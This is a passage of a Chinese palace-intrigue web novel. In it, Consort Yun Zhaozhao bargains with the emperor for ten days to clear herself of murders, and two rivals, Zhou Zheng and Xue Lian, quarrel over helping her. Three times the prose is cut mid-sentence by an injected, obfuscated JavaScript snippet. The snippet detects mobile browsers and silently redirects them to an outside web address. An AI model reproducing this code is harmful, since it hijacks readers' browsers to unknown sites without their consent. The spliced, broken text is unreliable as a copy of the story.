“说得好,你也知道是疑似!”太后毫不客气地说,“我大周朝律法何时规定过,没有足够的证据与罪犯的供词,光是疑似就能将人关进诏狱定罪的?况且诏狱是什么地方,那是关押朝中政治要犯的地方,既然死的人都是后宫之人,要定罪关押也是该关入冷宫才对!” “这……”薛炼面露难色。 太后道:“既然是陛下要你们来我慈宁宫带人,哀家也不难为你们下面的人,就请陛下即刻来慈宁宫吧。” “哎,太后娘娘,”汪海仿佛换了一副面孔,小心翼翼赔笑道,“这、这不更是难为奴才们吗?这,这不合适吧……” “这有什么不合适的,哀家上午还专程去承龙殿见了陛下!” 太后一下子提高了声调,像是在对着汪海薛炼说话,又像是对着在场的,以及不在场的其他人说话。 “陛下虽非哀家亲生,但哀家好歹是先帝承认的陛下名义上的母亲,十多年来将他养大成人,作为一个母亲,难道连让自己儿子来见一面的权利都没有么?” 她一说完,汪海薛炼等人面面相觑。无奈之下,汪海只好派了司礼监几名太监亲自去请赵昶,而他和薛炼等人,仍守在慈宁宫内。 “还请太后娘娘谅解,臣与大伙儿还需在此守候。”薛炼道。 太后敷衍地应了一声,便不再理他们,就站在佛堂的台阶上等着。 约莫等了两炷香的功夫,日头渐斜,赵昶终于一身便衣,不情不愿地来到慈宁宫,看样子像是从哪个嫔妃宫中赶来的。 见了太后,他只简单地问候了几句晚膳,便开门见山地问道:“母后,如今锦衣卫禁军都为这事儿奔波了一天了,将士们也都累了,您就别再为难他们了,赶紧将人交出来吧。” 他说罢又笑笑道:“况且裴家就这事儿已经上奏了无数次了,那裴晧就差要给朕告病了,户部的担子还不知道让谁来接呢,朕再怎么也得给裴家一个交代不是?” 太后不着痕迹地轻轻冷笑一声,让苏嬷嬷在佛堂里为赵昶设座,叫出躲在屏风后的云昭昭,打发了众人,只留了汪海与薛炼两名主事的太监在佛堂内。 赵昶看到不施粉黛的云昭昭从屏风后款款而出,这是自赏菊宴后两人见的第二面,也是自云昭昭入宫以来两人见的第二面。 他忍不住多看了几眼,神色有些复杂。 “你怕什么?哀家下午同贵妃共处一室呆了那么久,也没见哀家出什么事,”太后责备道,“况且还有薛提督在这里,你能安心将禁军交由他统领,想来还是有些本事的。” “母后说的是,是儿臣担心过度了。”赵昶干巴巴地道,眼睛尴尬地从云昭昭身上移开。 估摸这他这会儿脾气已经下去了,太后便正式提云昭昭求情。 “哀家之所以叫陛下来,是因为下午的时候,贵妃在慈宁宫向哀家交代了中秋夜那晚的全过程,哀家觉得此事尚有诸多疑点,因此不敢让贵妃单独离开,免得你手下的那群太监们又胡乱地将人抓了去。” 听到太后话里有话,汪海在一旁掩饰性地轻咳了一声。 就连赵昶面上也不大挂得住,他问道:“母后,此事锦衣卫已查的很清楚了,朕不知究竟还能有什么疑点。” “贵妃,你将下午对哀家说的话,再跟陛下复述一遍。”太后淡淡道。 “是。” 云昭昭虽极不情愿,但她深知太后是在为自己打算,便又将自己查到的事实与相关的推测再次讲了一遍,只是过程中隐去了周徵的参与,只说是自己解禁后与宫中的下人一起搜查的逐月与汀雪的房间。 她说完太后道:“陛下,若是按照这样看来,极有可能是那个汀雪做了这一切,而据她说,汀雪尚在云府的时候就行事蹊跷可疑,如此整件事情,倒也说得过去。” 但赵昶只喝了一口茶,便将茶盏撒气似地重重掷于檀木桌上,溅起一簇水渍。 “这也只是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108326|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种猜测罢了,母后您还是不明白,”赵昶厉声道,语气中颇有不达目的誓不罢休的架势,“如今那两个叫做逐月和汀雪的宫女死了,线索早就断了,况且这两人都是云贵妃身边的人,朕也完全可以猜测是贵妃利用完二人后就将他们灭口了!” “陛下,臣妾想提醒您,汀雪死在宫正司里,可今天早上之前,臣妾都一直在被禁足,可没有机会离开昭阳殿半歩。”云昭昭冷静地说。 赵昶被她这一打岔,脸色更加难看,阴得仿佛有一场雷阵雨将毫不讲理地降临,原本还算是英俊的眉眼带着戾气,看起来冷酷而阴骘,在云昭昭眼里活脱脱地就是那种从小不学好的不良少年。 “贵妃!”赵昶说,“朕最后再强调一次,如今线索已经断了。而这一连串的命案都是因你而起,与你有关,就算不是你,宫中出了这么大的命案,为了后宫的安定,为了江山社稷的稳定,朕也必须要给全后宫,给满朝文武一个交代,你明白吗!” 云昭昭冷眼瞅着他这幅振振有词的模样,心里泛起一阵冷笑。 自己父亲云琛在朝中侍奉三朝君主,功勋卓著,不少六部如今的中流砥柱都曾在他麾下共事,亦或是他的同侪门生,这在赵昶眼里算不上满朝文武,可区区一个裴家就能代表满朝文武了。 他面上说得冠冕堂皇,为了满朝文武,为了江山社稷,可心里还不是舍不得那一点儿九五之尊的权力? 如今虽有太后为自己说话,可太后久居深宫,确实话语权有限,能帮自己做到这个份儿上已是仁至义尽了。 她得再想想,再想想有没有对策…… 时间一分一秒的过去,斜阳在涂满金漆的宫门上留下最后一片斑驳的踪迹,但云昭昭被赵昶志在必得的目光盯着,没有一丝头绪。 这半炷香的时间,仿佛也被那斜阳拉长了影子,走得格外漫长。 赵昶见云昭昭无话可说,嘴角终于稍微扬起了一点弧度。“既然云贵妃都无话可说了,当事人也都死了,线索已断,薛炼,你们就该怎么办怎么办吧!” 说着赵昶便起身准备离去,云昭昭看着他那副小人得志般的嘴脸有些自暴自弃。 正在这时,慈宁宫的小佛堂外突然想起了周徵的声音。 “不,线索还没断!” 说着周徵不等通报便急匆匆地进来。 他踏着黄昏最后一缕夕阳,身上沾满了枯草与灌木的根须,径直走到太后与赵昶面前跪下。 “启禀陛下,启禀太后,”周徵道,“臣方才在宫正司又有新的发现。” 原来,周徵离开慈宁宫后并未回侯府,而是返回了宫正司,重新探查了一下关押汀雪的那间小院的四周。 “臣绕着那附近走了一圈,终于在一个偏僻的拐角处发现了此物。” 说着周徵从怀中掏出一件柳绿色的事物。 那东西不仅云昭昭记得,就连太后也记得。 因为那是云昭昭刚入宫为太后奉茶时,太后赏予她两名贴身丫鬟的香囊。 流霜拿到的那只是桃红色,而属于汀雪的那只正好是柳绿色。 51. 转机 “贵妃应当还认得此物吧?” 周徵将香囊呈至云昭昭与太后面前。只见蜀锦海棠纹的缎面上沾着几根与周徵衣角一样的枯草根须,原本系着香囊的挂绳被尖锐之物挂断了。 看样子,应是香囊的主人在宫正司外的草丛匆匆路过时被灌木所挂断的。 云昭昭点点头,“自然认得,这是汀雪的香囊。” 太后也附和道:“贵妃第一次来觐见哀家时,哀家便赏了她随嫁的两个丫头一人一个。” 有了太后作证,周徵点了点头,语气更笃定了几分。 “那日臣在宫正司审问汀雪时,确实也见她腰间佩戴了这只绿色的香囊。” 赵昶见对面这三人你问一句,我答一句,像是约好了似的,心下一股无名火乱窜,但碍于这么多人在场,也只好黑着脸,阴恻恻地问:“这又能证明什么?” 周徵解释道:“这是汀雪的香囊,看这上面断掉的挂绳,应当是她从宫正司背后的那条小路上逃跑时,被灌木枝挂断的,至于为什么说她是逃跑,是因为臣有个大胆的猜测!” 云昭昭只觉得周徵话里有话,心不由自主地到了嗓子眼里,正咚咚地乱跳着。 她按捺住心里的某个一晃而过的念头,屏住呼吸问:“什么猜测?” 周徵不疾不徐地讲述道:“臣方才回宫正司探查时,也一并询问了这些时日负责看守汀雪的几个嬷嬷,但只有一位姓夏的嬷嬷臣找遍了宫正司,也没找到人。听与她同住一屋的两名宫女说,夏嬷嬷从昨晚去看守汀雪以后就再也没见到人,也没回过屋子。” 随着最后一点残阳消失在天际,夜幕降临,天空浓云密布,如一团黑沉沉地雾笼罩四野。 苏嬷嬷蹑手蹑脚地进来点了灯,却因为风太大,一点就熄灭了。好不容易点上,忽明忽暗的烛火映在两侧镀金的佛像上,显得格外幽深。那些原本宝相庄严的佛像,也被飘摇的光影赋予了一种异样的意味,像是活了一般,紧紧地盯着下面的众人。 周徵的声音也冷得如同外面降下的霜。 “所以,极有可能白天被发现死在关押汀雪的那间屋子里的人,不是汀雪,而是夏嬷嬷。真正的汀雪在毒死夏嬷嬷,偷梁换柱后,便逃之夭夭了,现在不知在皇宫的哪个角落里。” 云昭昭不禁打了个寒颤,将外面单薄的纱衣裹了又裹,但还是抵不住那股透心凉的感觉渐渐扩散到五脏六腑,再蔓延至身体的每一个角落。 所有人似乎都屏住了呼吸,没人开口,唯有烛火在风中噗噗燃烧的声音,格外地刺耳。 倒是赵昶,一脸漫不经心,不以为意道: “周爱卿,这仅是你的猜测而已。人都有求生的本能,一个宫女杀了嬷嬷从宫正司里逃了出来,又有什么要紧的?” “陛下。”周徵眉头微皱,提醒道,“您不知,这汀雪是极其危险之人!” 说着他跪在地上,将汀雪如何给易常在的蟹肉羹里下了毒,又是如何将她的碗与纯容华的碗对调的过程一一详尽地讲给了赵昶与太后听。 这些内容正好又能与之前云昭昭所言畅通无阻地衔接上,没有什么大的漏洞,仿佛是出自一人之口。 赵昶的眼神不经意地在周徵与云昭昭之间徘徊,嘴上却说:“没想到仅仅是一名小宫女,就能有如此歹毒且缜密的心机,她是随贵妃入宫的贴身丫鬟吧。” 赵昶干笑了两声,表情古怪,“云府果然是卧虎藏龙啊!” “陛下,此事应与贵妃无关。”周徵一心低着头,并未注意到赵昶的表情,认真地分析道,“且不说那汀雪将所做的这一切都推到贵妃身上,甚至她还亲口向臣承认过,她背后真正主人,并不是云府。臣猜测,应是公众之人。” “你闭嘴!” 赵昶恨不得一脚踢在周徵头上,他心道这人难道是长着驴脑子吗,只认死理,钉是钉,卯是卯的,平白地替外人说话。 “她说什么你就信什么,那朕还是天子呢,你还不是背着朕,私放诏狱人犯!”赵昶气急败坏道,“周爱卿,朕之前只是撤了你的职,并未治你的罪,你勿要得寸进尺!” “陛下!”周徵抬起头,有些陌生地看着居高临下的赵昶,语气中带着些许哀求之意。 眼看君臣二人又要吵个天翻地覆,引得赵昶大发雷霆,汪海赶紧上前打圆场。 这时,方才一直未开口的云昭昭突然道:“陛下可否容臣妾说一句话?” 她的声音清清冷冷,在带着回音的佛堂里,显得格外坚定。 赵昶狠狠地瞪了周徵一眼,随后把玩着腰间的一枚蟠龙玉佩,没拿正眼看云昭昭,只抬了抬眼皮,敷衍道;“你还有什么话可说的。” 云昭昭心里冷笑一声,面上依旧是恭恭敬敬的表情。 她走到周徵一侧的空地上,跪下,然后刻意放轻了语调,用带着商量的口吻道: “如今宫中出了这么大的事,都是与臣妾有关,臣妾就算嘴上说不是臣妾所为,空口无凭,陛下也是不会信的。当然,臣妾也知道陛下需要给全满朝文武,以及整个后宫一个交代。所以臣妾斗胆向陛下请命,让臣妾来调查此事。” “你说什么?!”赵昶仿佛听到了一个世间最好笑的笑话,一脸不可思议。 他深深地盯着跪在地上的云昭昭,眼中透出一股危险与玩味。 “呵,你可知道你在说什么吗?” “臣妾知道。”云昭昭依旧淡定,烛火淡橘色的暖光打在她的脸上,映照出她柔美的五官,“汀雪毕竟过去名义上是云家的人,是臣妾的贴身丫鬟,所以臣妾有责任有义务给陛下一个说法。如果臣妾能将这背后设局之人查出,是否可以还自己,还云家一个清白呢?” 说到这里,她倏然抬起头,眸中闪着一丝决绝。 “陛下当然也可以选择处理臣妾与父亲,但是……如果不是臣妾做的,就算陛下今日杀了臣妾,抄了云家,那罪魁祸首依然逍遥法外,只要其一日存在,那这宫里就一日不得安宁,今后一定会有更多的人死去。毕竟,陛下也在宫里,您一定也不希望自己身边会有这样的危险吧?” 赵昶闻言从座椅上猛地站起,走至云昭昭跟前。 他伸手扣住她的下巴,慢慢抬起,居高临下地审视着她,“你在威胁朕?” “没有。”云昭昭冲他笑了一下说,“臣妾只是希望陛下能给臣妾半月的时间,让臣妾查出这布局之人。毕竟如果真是臣妾搞鬼,那肯定用多久都白费。若是查不出,那臣妾,臣妾的父亲,整个云府,都任由陛下处置。” 赵昶抬着她的下巴,盯着她波光流转的美目,手指轻轻地在她的双颊上划动。 这个女人,当真是比他后宫里的其他人都要聪明,也都要美丽。 若非她乃云琛之女,他倒是恨不得赏她些恩宠,让她彻底沦为自己囊中之物。 到时候,他不信她还会用这种无所畏惧,不屑一顾的眼神看着自己。 赵昶嫌弃地甩开手,回到自己的座位上坐下,问道:“母后与周爱卿怎么看?” 太后半阖着眼,念了一声“阿弥陀佛”,然后道:“纯容华去世前的样子哀家还历历在目,哀家一介妇人,不懂陛下前朝的事,哀家只是担心陛下与后宫众人的安全,因此无论怎样,只要能万无一失便好。” 太后的意思不言而喻,赵昶又看向周徵,沉声道:“你呢,周爱卿?” 周徵不假思索地道:“陛下,‘攘外必先安内’,这是臣的意见,也是之前陛下您告诫臣的。” “你!”赵昶瞬间气得鼻子都歪了,恨不得让眼前这个跪得端正,腰挺得如修竹般笔直的男人立刻消失。 “好你个周徵,”赵昶恨恨地指着他,过了片刻才终于憋出话来,“……行了,朕已经决定了,给云贵妃十日时间调查此事真相,若不成,按谋逆之罪诛其九族!” 众人闻言,皆是倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108327|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸了一口凉气。太后有些担心地看向云昭昭。 云昭昭轻轻摇摇头,示意她不用担心,毕竟,若赵昶不给这十日的时间,她和云家也横竖都是个死,那是书里注定了的。 只是她不愿等死,就算死,也要将主动权握在自己手上。 她发自内心地莞尔,虔诚地叩首:“谢陛下。” 起身后她又对赵昶说:“陛下,臣妾一介女流,赤手空拳,在宫中调查此事多有不便,是否能指派一个帮手予臣妾呢?” 赵昶本不愿再在此事上多话,但考虑到云昭昭若是能查出真相,倒也算是帮了自己一个忙。于是他想了想,便道:“这样吧,朕就让薛炼暂时协助贵妃,毕竟他乃御马监提督,身手不错,也方便调动禁军。” “臣谨遵陛下命令。”薛炼应道,看向云昭昭,随后又立刻转开了头。 “就这样吧,”赵昶烦躁地起身,朝着汪海勾了勾手指,“朕还有事,母后也早些歇息。”说罢便带着汪海拂袖而去。 自前日与薛炼在诏狱一别,云昭昭十分关心他的境况,却又不便在有旁人在场时与他太过于亲近。于是她关切了几句太后,也向她道了谢,告了辞。 出了慈宁宫,又往前走了一百米,云昭昭这才停下,问薛炼道: “怎么样,那天从诏狱出去后,你伤得重不重?回去后他们有没有人怀疑你?” 她越说越觉得抱歉,“都是我不好,尽想些馊主意,要是害你暴露了,那我就成愧对我爹的千古罪人了!” 薛炼瞧着她一副干着急的样子,噗嗤一笑,随后柔声安慰道:“娘娘别担心,没人发现。要是真有事,今天陛下怎么会让我陪你调查呢。” 夜里的浓雾这会儿散了不少,月色清凉,云昭昭一袭白衣站在月下,美得如月宫的仙子。薛炼看着她,忍不住叫了她的名字,称赞道:“昭昭,你今晚真是令我刮目相看。你当时的样子……” 他说到这里突然停了下来,云昭昭有些好奇,笑着问道:“我当时的样子怎么了?是不是很可怕,差点让你们以为我会和赵昶吵起来?” 你当时的样子,我恨不得把你藏起来,不让任何人看到。 薛炼深深地盯着云昭昭的眼睛,在心里默默地说。 但如今的身份,令他无论如何都没有资格将这话说出口。 云昭昭见薛炼不说话,又这样看着自己,不自觉地有些尴尬,连忙用手在他眼前晃了晃,问道:“你怎么了,怎么不说话?” “没。你说的对,你当时着实让人为你捏了把汗。”薛炼说完,又忽然问道,“昭昭,你还记不记得你小时候的事?” 云昭昭一头雾水,不知薛炼为何要问这些,只得摇摇头道:“不记得了。入宫前我和爹闹别扭,不慎落水,生了场大病,脑子烧坏了,以前的事都想不起来了。” “这样啊。”薛炼的眼中闪过一丝痛苦。 云昭昭不解。 正好这时,夜里一阵风呼啦啦地挂过。外面之前降过霜,本来就冷,从慈宁宫出来时,她就冷得有些发抖,现在被冷风一吹,她一下子打了一个喷嚏。 薛炼心疼极了,“快入冬了,晚上这外面越发冷了。可千万别着凉了,昭昭,我送你回去。” 说着他解下自己随身的斗篷,准备将自己的斗篷为云昭昭罩上。 “你们在做什么?”熟悉的声音从身后传来。 云昭昭不知为何冷得一个激灵,动作僵在原地。 下一秒,周徵便出现在了她与薛炼的面前。 他双手交叉地抱在胸前,语气凉凉道:“你们认识?” 未等云昭昭回答,薛炼便不卑不亢道:“侯爷,陛下吩咐我陪贵妃娘娘查案,但今夜天气不好,我正准备送娘娘回宫。” 周徵没有理他,只是从上到下将他打量了一番,嘴里发出一声轻啧。 “前日夜里,陪她一起闯进诏狱的,就是你吧?” 52. 情敌 见周徵这样就认出了自己,薛炼眉峰一扬,不置可否。 他盯着周徵的眼睛,身侧的右手悄悄握住腰间的软剑,警觉地问道:“武安侯,你到底要怎样?” 周徵也看着薛炼,并不具体回答,只是平静地说:“该怎么样就怎么样。” 原本冷涩的秋风中隐隐带着一股杀气,既躁动,又不安。 云昭昭最担心的的事还是发生了,薛炼的身份就这样暴露了。 她担心周徵将这事儿捅到赵昶那里去,连忙插嘴道:“等等,武安侯,闯入诏狱的主意是我出的,也是我逼着薛提督陪我去的,与他无关,就算你要闹到陛下那儿去,该治罪的人也是我才对。” 赵昶既然给了她十日时间,那么无论她现在又犯了什么事儿,都可以暂时放放,反正十日后,她若是什么都查不出来,再老账新账一起算也不迟;若是查出来了,她便也有一定的与赵昶讨价还价的机会。 她算准了他会这样,所以便什么都往自己身上揽。 谁道周徵根本不上她的套,只是冷哼一声,对薛炼面露讥诮。 “哼,先帝继位之初,东西突厥突然联合南下,讨伐大周,从漠北一直打到了洛阳,为保东都不失守,云琛曾临危受命,任兵部尚书一职,调派六军,最后获得大捷。因此先帝时期,他就在大周军中享有极高的威望。按他那广结党羽的性子,在各部里有那么一些亲信不足为奇。只是……没想到御马监前后换血数次,却还是没能拔除掉你这个漏网之鱼。” 见周徵全然不将薛炼放在眼里,言语多有挑衅,云昭昭忍不住恶狠狠地瞪着他,提醒道: “周徵,我提醒你,你若是敢动他,亦或敢将他的身份透露给赵昶,那么我也可以到赵昶那里将那日我跟你说过的谶语告诉他!” 周徵瞳孔猛然一缩。 “狡兔死,走狗烹……赵昶会将他的剑尖对向你……逼你谋反!” “你与陛下,终会有因立场不同,而走到决裂的那一天……” 云昭昭的叮嘱,已经汀雪恶毒的笑声再一次如咒语般萦绕在耳边,一如这些天夜里他梦魇时听到的那样,周徵的脸上露出了痛苦的表情。 见到自己的话有了作用,云昭昭“乘胜追击”,惬意地补刀道:“或者,我找放出消息去,再找些宫人让他们在宫里大肆宣扬,赵昶这么小心眼儿的人,你猜他会不会对你动手?” 周徵的脸部肌肉微微抖了抖,半晌,嘴里才艰涩地吐出一个“会”字。 他一向自恃冷静,却看着眼前女子小人得志般的笑容,心里没由来的烦躁,一股邪火在他胸口横冲乱撞。 她身边那个名叫薛炼的太监,他以前只与他有过几面之缘,所以那天在诏狱中,他只觉得此人有些眼熟,却一直没想起来他姓甚名谁。而云昭昭竟然为了维护她,不惜付出与自己两败俱伤的代价。 周徵正想着,薛炼突然阻止云昭昭道:“别这样昭昭,我能对付他。” 说着他毫不犹豫地抽出了软剑,薄如蝉翼的剑尖瞬间如蛇信子一般缠上了周徵。 他像上次在诏狱一样突然出手,周徵早有了几分防备,连忙拔刀格挡。 但上次薛炼为了不暴露身份用的乃是绣春刀,而这次换了趁手的兵器,一下子变得难对付了许多,薄薄的刀刃刷然划破了周徵的袖口,露出一小节结实精壮的小臂。 “武功不错,可惜,手法太过阴毒,”周徵格挡过薛炼的攻击,评价道,“你师父是前朝号称‘缠阳剑’的太监尹懋?” “是又如何?还轮不到你这种人评价他老人家的功夫!”薛炼不爽道,边说边发动更猛烈的攻击,甚至还颇有点要与周徵拼命的架势。 周徵堪堪躲过他一击,又道:“停手!我不想跟你打!如今我已不任锦衣卫指挥使一职了,所以并不打算将你的身份告诉陛下。” 云昭昭本来看他二人激烈缠斗看得焦急,生怕引来其他的人,但听周徵这么说,终于舒了一口气,悬着的一颗心也落下了一半。 她连忙叫住薛炼道:“薛炼,快停手!你们别打了。” 薛炼这才终于收手,收起软剑,给予云昭昭一个安慰的眼神,但依然警惕地防备着周徵。 周徵拆穿了薛炼的身份,让云昭昭心里无论是对云琛,还是对薛炼都愧疚不已,她不愿在这里与周徵多呆,便叫上薛炼,冷漠地同周徵告辞。 “武安侯,既如你所言,那今晚的事就算是个误会,本宫就不再打扰武安侯夜里散步的雅兴了,薛炼,我们走。”说罢她别过脸,就要离开。 “等等!贵妃留步!” 云昭昭刚走出半米远,就被周徵叫住了。她只好转过身,不耐烦地盯着周徵,示意他有话快说。 周徵活了二十三年,其中十八年都在宫里过着寄人篱下的生活,许多人看不起他,赵昶拿他撒气,甚至有些势力一点的宫人也能踩他,但他从来没有像今天这样不爽过。 这是一种前所未有的感觉,它似恨非恨,似怒非怒,压抑中,又有一种没由来的躁动,像是一双手扼住了胸口,连呼吸都有些不畅。 自己白天被云昭昭“劫持”时,不慎划伤了脖子,也并未怪她,甚至还感激她那时出手,帮了自己一把。 甚至因为那时不经意的亲密之举,自己一下午脑中都不能清净,心里也心乱如麻。 今晚本来是想起之前云昭昭向自己提出的那个所谓的“交易”,才主动想来找她一起调查真相,也算是还了她下午的“劫持”之恩。 可谁知,好不容易追上来,自己却看到的是她与薛炼那样一副亲密的景象。 甚至,她对着薛炼笑容可掬,神态自如,语气生动活泼,而反观面对自己时,却总是冷着个脸,一副恨不得要咬上一口,与自己拼命的模样。 周徵并不清楚自己这是怎么了,为何会这么容易动怒。 他不是那么容易动怒的人,从来不是。 宫中寄人篱下的生活让他从小就学会了察言观色,小心翼翼,隐忍克制,除了赵昶,他也从来不与其他人有过多感情的连接,所以更不知道这种愤怒的源头是哪里。 唯一可以确定的是,他迫不及待想要把心里这股气给撒出去,所以他现在才毫不犹豫地叫住他。 “喂,武安侯,你到底要说什么?”云昭昭见他半天不放个屁,有些无语,“有话就快说,外面真的很冷耶!” 周徵于是走到她面前,挡住了她和薛炼的去路。 周徵:“娘娘,之前你与臣提的那个‘交易’还作不作数?臣已经考虑好了。” 经他一说,云昭昭这才想起昨晚向他提出的合作请求,后来他说自己要考虑一下。 于是她礼貌地笑了笑,毫不留情地说:“侯爷,我之前提出的交易,是跟身为锦衣卫指挥使的周徵说的,如今您已被陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108328|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下撤了职,当然就不作数了。” 她说完想了片刻又补充道:“而且本宫如今已有了陛下的应允,还有了薛提督与禁军的相助,不需要再低声下气地求人了。所以,请您让开点路,武安侯。” 为了气周徵,小小地报复一下他揭穿薛炼身份一事,云昭昭还故意将“武安侯”三个字念得格外的重。 周徵心里堵得不行,但并没有让开,而是耐着性子,深深地盯着云昭昭,说道: “娘娘,就算那个‘交易’作废了,你有没有想过,汀雪乃你从云府带入宫的丫鬟,解铃还须系铃人,要调查她的事情,少不得还要出宫几趟。要知道,之前为娘娘诊病的郭院判,其实和纯容华死于同一种毒药。” “况且,”周徵看了眼一旁有些愠怒的薛炼,又道,“薛提督身为内宫的太监,不便出宫,虽能保证娘娘在宫里的安全,却保不了宫外。” 周徵的话确实提醒了云昭昭,就算不是为了调查汀雪,哪怕只是为了确认一下家中父母是否安然,她也确实需要出宫。况且,昭文皇后留下的那价值连城的玫瑰金簪还在当铺里等着自己去赎回来呢! 周徵幽深的眼眸仿佛看透了她的心中所想,云昭昭听见他提议道: “既然薛提督是云阁老的人,臣虽已不司锦衣卫指挥使一职,但依旧有保护陛下周全的责任,所以更不能让薛提督与娘娘一同前往云府。毕竟这自己人关起门来筹划的事,常常都很危险。娘娘非要回家的话,也得由臣跟着去。” 这个家伙!果然是吃了一点儿瘪都要报复回来的! 但薛炼的身份确实让他无法跟自己频繁出入宫闱。 云昭昭没辙,只好点头同意,“那便如侯爷所说,不过本宫明日一早就要出宫回趟云府,骨肉亲情,血浓于水,也是人之常情,侯爷应该不会有意见吧?” 周徵从善如流地答道:“那明日一早辰时,臣在昭阳殿外候着娘娘。” “且慢!” 周徵话音刚落,方才一直未开口的薛炼突然说话了。 他刚刚一直冷眼旁观,也敏锐地捕捉到了周徵对自己的敌意。 被周徵比下去一头,他自然是不乐意。 以彼之道还施彼身。 于是毫不客气道:“武安侯如今既然已不统领锦衣卫,恕臣直言,您一大早便出现在嫔妃的宫门口,恐会影响娘娘的声誉。况且,作为一个外臣,也不该常常出入宫廷。” 他故意着重强调了“外臣”二字,只因周徵过去作为锦衣卫指挥使获得了赵昶应允的破格出入后宫查案的特权,如今他没了这职务,虽作为赵昶的亲信也能偶尔进入内宫,但频繁地出入宫廷确实不妥,恐遭御史台弹劾。 薛炼吃准了周徵这一软肋,悠悠然然地说道:“贵妃娘娘,既然武安侯负责调查宫外,那宫内的调查就由臣来负责了。” 云昭昭被面前这俩人你一言我一语的讨价还价弄得一头雾水,完全想不通俩人到底在这儿较什么劲儿,简直是幼稚! 她掏出太后赐予自己的出宫玉牌,在二人面前晃了晃。 “你们们别争了,就这么办吧!反正我也有太后娘娘赏我的‘通行证’,你们再争我就自己一个人出去了。行了行了,薛炼,你送我回宫吧。侯爷,那就麻烦您明天在宫门口等我咯!” “可以,”周徵不着痕迹地剜了薛炼一眼,“明日辰时,臣在宁远门等着娘娘。” 53. 迟到 因为这一天过于百转千回,发生了太多太多的事,所以当晚云昭昭一沾着枕头便沉沉地睡去了。 等她再醒来时,外面已天光大亮,随便一问过来服饰的流霜,竟然已是辰时了。 好在这会儿辰时才刚过,若是快一点,还是能赶上和周徵约定的时间。 于是云昭昭匆匆让流霜替自己梳妆,因为今天要出宫,不便穿得太过华丽招摇,只在宫里的常服里套了一件橘粉色圆领对襟窄袖织金长袄,头发也简单绾了一个髻,插了一朵粉色通草菊花簪,配一些珍珠点缀,既低调又不失亮丽。 结果云昭昭刚梳洗完,还未来得及吃早膳出门,昭阳殿便来了客人。 易琉璃带着自己的宫女冬哥,手上提着几笼食盒,大包小包地来向她请安。 “太好了,正好赶上娘娘未用早膳,嫔妾没什么能耐,就亲手做了几样糕点过来。”易琉璃腼腆地问号,有点婴儿肥的双颊因为赶路红扑扑的,看上去又娇又可爱。 “说什么呢,你这么心灵手巧,还会做糕点。我呢,就只会吃,嘿嘿!” 云昭昭远远隔着食盒就闻到了香味,她打开一看,里面一笼是枣泥山药糕、牛乳糕、薄荷糕、芙蓉糕等红黄白绿四色糕点,另一笼是雪花酥、龙井茶酥、蟹黄酥等六种小酥点。 这些点心不仅色香俱全,且形态可爱,看上去不输尚食局的手艺。 此外还有一笼小的食盒,云昭昭揭开后发现是两碗桂花粟米羮,星星点点的丹桂颗粒漂在明黄色的小米上,清香四溢,令人胃口大开。 这般细致又精巧的糕点,想必易琉璃是狠用了一番工夫才做好的。 果然,跟她一起来的冬哥道:“贵妃娘娘,这谢可是我们主子四更天就起来做的,您可一定要每种都尝一些啊。” 云昭昭不敢辜负易琉璃的这番美意,便命玉绯和流霜将糕点摆盘,然后拉着她的手坐到餐桌前一起当早膳吃。 易琉璃在原书里就是个吃货,当然她不仅会吃,也会做。在过去不受赵昶重视的日子里,她就不争不抢,一个人躲在翠微宫里研究点心的做法。原书里她也靠这些精致的点心俘获了赵昶的心。 云昭昭夹了一块牛乳糕送进嘴里,顿时奶香四溢,入口即化,口感绵软,又甜而不腻;又尝了一块龙井茶酥,层层叠叠的酥脆外皮间夹着像芝士一般的茶膏,吃起来没有一点苦涩,只有龙井悠长的茶香,比她在现代吃过的所有抹茶蛋糕味道都要好得多。 人生几大幸事之一就是有美食美人相伴,云昭昭与易琉璃一边品尝糕点一边说话,很快就把和周徵的约定忘在了脑后。 云昭昭想起先前自己尚在禁足时,易琉璃在赵昶面前替自己求情多次,结果惹得赵昶不快反遭了冷落,自己这才刚一解禁,她便带了糕点过来。 她心里十分过意不去,索性给她夹了一块牛乳糕,亲昵地说:“琉璃,你我年龄相仿,不如以后就别娘娘娘娘的,直呼对方名字可好。我禁足这些日子还多亏了你在陛下面前为我说话。” 听到云昭昭这么亲密地叫自己琉璃,易琉璃一下脸红了,有点不知所措地说:“娘娘……啊不,昭昭,我其实……也没帮上什么忙,我倒是担心……我嘴有点笨,怕是让陛下不快,连累你了。” “怎么会是连累,那都是他的错!你在中秋夜宴上竟敢当众站出来为我说话,还在陛下面前为我求情,有这份心,我已经很满足了!” 